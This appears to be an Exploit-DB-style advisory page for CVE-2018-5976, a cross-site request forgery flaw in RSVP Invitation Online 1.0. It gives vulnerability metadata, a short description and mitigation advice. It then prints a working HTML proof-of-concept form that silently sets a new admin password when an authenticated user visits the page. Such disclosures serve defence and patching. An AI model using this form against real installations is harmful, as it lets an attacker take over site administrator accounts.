RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)

vendor:

RSVP Invitation Online

by:

Ihsan Sencan

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: RSVP Invitation Online

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: CVE-2018-5976

CPE: a:putrazendrato:rsvp_invitation_online

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

RSVP Invitation Online 1.0 – Cross-Site Request Forgery (Update Admin Pass)

RSVP Invitation Online 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious HTML page that when visited by an authenticated user, can update the admin password without the user's knowledge. This can be done by sending a POST request to the account.php page with the new password and confirmation parameters.

Mitigation:

Implementing CSRF protection tokens, validating the HTTP Referer header, and using SameSite cookies can help mitigate CSRF attacks.

Source

Exploit-DB raw data:

<!--
# # # # # 
# Exploit Title: RSVP Invitation Online 1.0 - Cross-Site Request Forgery (Update Admin Pass)
# Dork: N/A
# Date: 23.01.2018
# Vendor Homepage: http://putrazendrato.link/
# Software Link: https://www.codegrape.com/item/rsvp-invitation-online/3890
# Demo: http://putrazendrato.link/rsvp/login.php
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5976
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
# 1)
-->
<html>
<body>
<form method="post" action="http://localhost/rsvp/function/account.php">
<!--Change admin pass-->
<input name="newpassword" type="text" value="efe">
<!--Change admin pass confirm-->
<input name="confirm" type="text" value="efe">
<input type="submit" name="Submit" value="Update">
</form>
</body>
</html>